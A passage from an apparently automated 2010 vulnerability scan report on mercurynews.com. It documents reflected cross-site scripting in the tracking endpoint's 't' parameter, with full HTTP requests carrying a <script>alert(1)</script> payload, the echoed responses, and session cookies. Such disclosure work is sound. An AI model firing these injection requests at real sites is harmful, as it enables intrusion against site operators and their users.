Cookie: EMETA_COOKIE_CHECK_MNGI=1; EMETA_NCLICK_MNGI=1; JSESSIONID=HVV3QOIIU1YGYCUUCAXCFEY; UserID=HVV3QOIIU1YGYCUUCAXCFEY; fPage=true; u=COOKIE_NAME%3Du%3BuserIdChange%3Dtrue%3BuserId%3DHVV3QOIIU1YGYCUUCAXCFEY%3BconPage%3Dfalse%3BaaPage%3Dfalse%3BloginConPage%3Dfalse%3BfPage%3Dtrue%3BfVisit%3Dtrue%3BvType%3D1%3BlVisit%3D1289775673869%3BcVisit%3D1289775673869%3BinitRegType%3DVoluntary%3B; currBrandCheck=mngimercurynews; UserType=Browser; s_cc=true; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Server: Apache/2.0.52 (Red Hat)
X-ATG-Version: ATGPlatform/7.1p2 [ DASLicense/0 DPSLicense/0 DSSLicense/0 PortalLicense/0 ]
Vary: Accept-encoding
Expires: Sun, 14 Nov 2010 23:06:00 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 14 Nov 2010 23:06:00 GMT
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 147

TrackingServlet.service(), siteId = 568a6ad2<script>alert(1)</script>0e367d1dc82, contentId = 16611270, typeId = VIEWED, number = 1, result = true

1.90. http://www.mercurynews.com/mngi/tracking/track [t parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.mercurynews.com
Path:   /mngi/tracking/track

Issue detail

The value of the t request parameter is copied into the HTML document as plain text between tags. The payload a036d<script>alert(1)</script>226d850a15 was submitted in the t parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /mngi/tracking/track?s=568&c=16611270&t=VIEWEDa036d<script>alert(1)</script>226d850a15&n=1 HTTP/1.1
Accept: */*
Referer: http://www.mercurynews.com/breaking-news/ci_16611270?nclick_check=1
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.mercurynews.com
Proxy-Connection: Keep-Alive
Cookie: EMETA_COOKIE_CHECK_MNGI=1; EMETA_NCLICK_MNGI=1; JSESSIONID=HVV3QOIIU1YGYCUUCAXCFEY; UserID=HVV3QOIIU1YGYCUUCAXCFEY; fPage=true; u=COOKIE_NAME%3Du%3BuserIdChange%3Dtrue%3BuserId%3DHVV3QOIIU1YGYCUUCAXCFEY%3BconPage%3Dfalse%3BaaPage%3Dfalse%3BloginConPage%3Dfalse%3BfPage%3Dtrue%3BfVisit%3Dtrue%3BvType%3D1%3BlVisit%3D1289775673869%3BcVisit%3D1289775673869%3BinitRegType%3DVoluntary%3B; currBrandCheck=mngimercurynews; UserType=Browser; s_cc=true; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Server: Apache/2.0.52 (Red Hat)
X-ATG-Version: ATGPlatform/7.1p2 [ DASLicense/0 DPSLicense/0 DSSLicense/0 PortalLicense/0 ]
Vary: Accept-encoding
Expires: Sun, 14 Nov 2010 23:06:05 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 14 Nov 2010 23:06:05 GMT
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 146

TrackingServlet.service(), siteId = 568, contentId = 16611270, typeId = VIEWEDA036D<SCRIPT>ALERT(1)</SCRIPT>226D850A15, number = 1, result = true

Report generated by Hoyt LLC Research at Sun Nov 14 20:15:44 CST 2010.